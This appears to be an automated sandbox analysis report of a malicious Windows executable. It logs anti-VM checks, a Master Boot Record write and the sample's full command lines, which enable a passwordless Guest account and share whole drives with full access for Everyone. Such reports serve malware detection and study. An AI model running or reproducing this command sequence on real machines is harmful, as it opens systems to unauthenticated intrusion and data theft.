Analysis Overview
SHA256
f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7
Threat Level: Likely malicious
The file f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7 was found to be: Likely malicious.
Malicious Activity Summary
Identifies VirtualBox via ACPI registry values (likely anti-VM)
Checks BIOS information in registry
Checks whether UAC is enabled
Writes to the Master Boot Record (MBR)
Unsigned PE
Runs .reg file with regedit
Runs net.exe
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-26 07:53
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 07:53
Reported
2024-05-26 07:55
Platform
win7-20240221-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Runs .reg file with regedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\regedit.exe | N/A |
Runs net.exe
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe
"C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe"
C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat
C:\Windows\SysWOW64\net.exe
NET USER Guest /active:yes
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 USER Guest /active:yes
C:\Windows\SysWOW64\net.exe
NET USER Guest /passwordreq:no
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 USER Guest /passwordreq:no
C:\Windows\SysWOW64\SecEdit.exe
Secedit /configure /cfg "security.inf" /db secsetup.sdb /areas USER_RIGHTS /verbose
C:\Windows\SysWOW64\net.exe
net user guest /active:yes
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest /active:yes
C:\Windows\SysWOW64\net.exe
net user guest ""
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest ""
C:\Windows\SysWOW64\regedit.exe
regedit /s ┐¬╞⌠╣▓╧φ.reg
C:\Windows\SysWOW64\net.exe
net start workstation
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start workstation
C:\Windows\SysWOW64\net.exe
net start "Computer Browser"
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start "Computer Browser"
C:\Windows\SysWOW64\net.exe
net start server
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start server
C:\Windows\SysWOW64\net.exe
net start netbios
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start netbios
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨CÅÌ)=C:\ /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨DÅÌ)=D:\ /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨FÅÌ)=F:\ /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net.exe
net share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Admin\Desktop /e /t /g everyone:F
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨DÅÌ)=D:\ /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨CÅÌ)=C:\ /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop /grant:Guests,full /grant:Everyone,full
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨FÅÌ)=F:\ /grant:Guests,full /grant:Everyone,full
Network
Files
memory/3020-0-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/3020-2-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/3020-4-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/3020-3-0x0000000000400000-0x0000000000C6A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat
| MD5 | 80f0e65f938e3259b19f89241858ae23 |
| SHA1 | f6d463a58007cc20b70988563c49b3410e68e92b |
| SHA256 | 49b26f11aa955b7db4acc775b09476638525772c1a09e7c31dfdca19f6973dba |
| SHA512 | d51279e860cf401cba03c90d4edea4cfe408725b6a8737cfc3c63110f7f13f63f52ed350c2e79d1a287172d8c77d6a7dc658a1ac1d4867504a886aa108501d95 |
\??\PIPE\lsarpc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/3020-18-0x0000000000400000-0x0000000000C6A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-26 07:53
Reported
2024-05-26 07:55
Platform
win10v2004-20240508-en
Max time kernel
135s
Max time network
126s
Command Line
Signatures
Identifies VirtualBox via ACPI registry values (likely anti-VM)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Checks whether UAC is enabled
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Runs .reg file with regedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\regedit.exe | N/A |
Runs net.exe
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe
"C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat
C:\Windows\SysWOW64\net.exe
NET USER Guest /active:yes
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 USER Guest /active:yes
C:\Windows\SysWOW64\net.exe
NET USER Guest /passwordreq:no
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 USER Guest /passwordreq:no
C:\Windows\SysWOW64\SecEdit.exe
Secedit /configure /cfg "security.inf" /db secsetup.sdb /areas USER_RIGHTS /verbose
C:\Windows\SysWOW64\net.exe
net user guest /active:yes
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest /active:yes
C:\Windows\SysWOW64\net.exe
net user guest ""
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user guest ""
C:\Windows\SysWOW64\regedit.exe
regedit /s ┐¬╞⌠╣▓╧φ.reg
C:\Windows\SysWOW64\net.exe
net start workstation
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start workstation
C:\Windows\SysWOW64\net.exe
net start "Computer Browser"
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start "Computer Browser"
C:\Windows\SysWOW64\net.exe
net start server
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start server
C:\Windows\SysWOW64\net.exe
net start netbios
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start netbios
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨CÅÌ)=C:\
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨DÅÌ)=D:\
C:\Windows\SysWOW64\net.exe
net share ±¾µØ£¨FÅÌ)=F:\
C:\Windows\SysWOW64\net.exe
net share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop
C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Admin\Desktop /e /t /g everyone:F
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨FÅÌ)=F:\
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨CÅÌ)=C:\
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 share ±¾µØ£¨DÅÌ)=D:\
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| NL | 23.62.61.97:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 97.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
Files
memory/4932-0-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/4932-2-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/4932-4-0x0000000000400000-0x0000000000C6A000-memory.dmp
memory/4932-3-0x0000000000400000-0x0000000000C6A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat
| MD5 | 80f0e65f938e3259b19f89241858ae23 |
| SHA1 | f6d463a58007cc20b70988563c49b3410e68e92b |
| SHA256 | 49b26f11aa955b7db4acc775b09476638525772c1a09e7c31dfdca19f6973dba |
| SHA512 | d51279e860cf401cba03c90d4edea4cfe408725b6a8737cfc3c63110f7f13f63f52ed350c2e79d1a287172d8c77d6a7dc658a1ac1d4867504a886aa108501d95 |
memory/4932-12-0x0000000000400000-0x0000000000C6A000-memory.dmp